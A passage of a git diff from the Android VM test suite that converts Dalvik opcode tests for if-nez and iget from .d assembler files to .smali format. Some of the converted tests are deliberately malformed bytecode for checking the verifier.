+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.d
deleted file mode 100644
index 81ef2ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_nez_11.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-nez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali
new file mode 100644
index 0000000..5202bd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_nez_11.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.d
deleted file mode 100644
index d95004a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_2.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali
new file mode 100644
index 0000000..230d6e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_2.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.d
deleted file mode 100644
index ea90b8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_3.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali
new file mode 100644
index 0000000..a15feab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_3.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.d
deleted file mode 100644
index efe46b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_4.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali
new file mode 100644
index 0000000..7ed26fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_4.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.d
deleted file mode 100644
index 8640ec1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_5.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-nez v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali
new file mode 100644
index 0000000..b2a879a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_5.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-nez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.d
deleted file mode 100644
index 67348ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_6.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-nez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali
new file mode 100644
index 0000000..c3d6883
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_6.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-nez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.d
deleted file mode 100644
index b22102e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_7.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-nez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali
new file mode 100644
index 0000000..e66dd47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_7.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-nez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.d
deleted file mode 100644
index 5ea760a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_nez_9.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-nez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali
new file mode 100644
index 0000000..a9e3ab4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_nez_9.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.d
deleted file mode 100644
index cac6528..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_1.java
-.class public dot.junit.opcodes.iget.d.T_iget_1
-.super java/lang/Object
-
-.field public  i1 I
-.field protected  p1 I
-.field private  pvt1 I
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const/4 v0, 5
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_1.i1 I
-
-       const/16 v0, 10
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_1.p1 I
-
-       const/16 v0, 20
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_1.pvt1 I
-       
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_1.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali
new file mode 100644
index 0000000..7bc6c1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_1.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+.field protected  p1:I
+.field private  pvt1:I
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const/4 v0, 5
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->i1:I
+
+       const/16 v0, 10
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->p1:I
+
+       const/16 v0, 20
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->pvt1:I
+       
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.d
deleted file mode 100644
index 6e64e3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_11.java
-.class public dot.junit.opcodes.iget.d.T_iget_11
-.super dot/junit/opcodes/iget/d/T_iget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget/d/T_iget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_1.p1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali
new file mode 100644
index 0000000..c851b27
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_11.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_11;
+.super  Ldot/junit/opcodes/iget/d/T_iget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/d/T_iget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->p1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.d
deleted file mode 100644
index 312dd9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_12.java
-.class public dot.junit.opcodes.iget.d.T_iget_12
-.super dot/junit/opcodes/iget/d/T_iget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget/d/T_iget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_1.pvt1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali
new file mode 100644
index 0000000..3c63a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_12.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_12;
+.super  Ldot/junit/opcodes/iget/d/T_iget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/d/T_iget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->pvt1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.d
deleted file mode 100644
index eed73b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_13.java
-.class public dot.junit.opcodes.iget.d.T_iget_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_13.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali
new file mode 100644
index 0000000..6cc0c35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_13.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_13;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.smali
new file mode 100644
index 0000000..213451f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget/d/T_iget_14;
+.super Ljava/lang/Object;
+.source "T_iget_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget v0, p0, Ldot/junit/opcodes/iget/d/T_iget_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.d
deleted file mode 100644
index d50305b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_15.java
-.class public dot.junit.opcodes.iget.d.T_iget_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali
new file mode 100644
index 0000000..6252193
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_15.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.d
deleted file mode 100644
index 8a5253b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_16.java
-.class public dot.junit.opcodes.iget.d.T_iget_16
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali
new file mode 100644
index 0000000..e18c26c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_16.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_16;
+.super  Ljava/lang/Object;
+
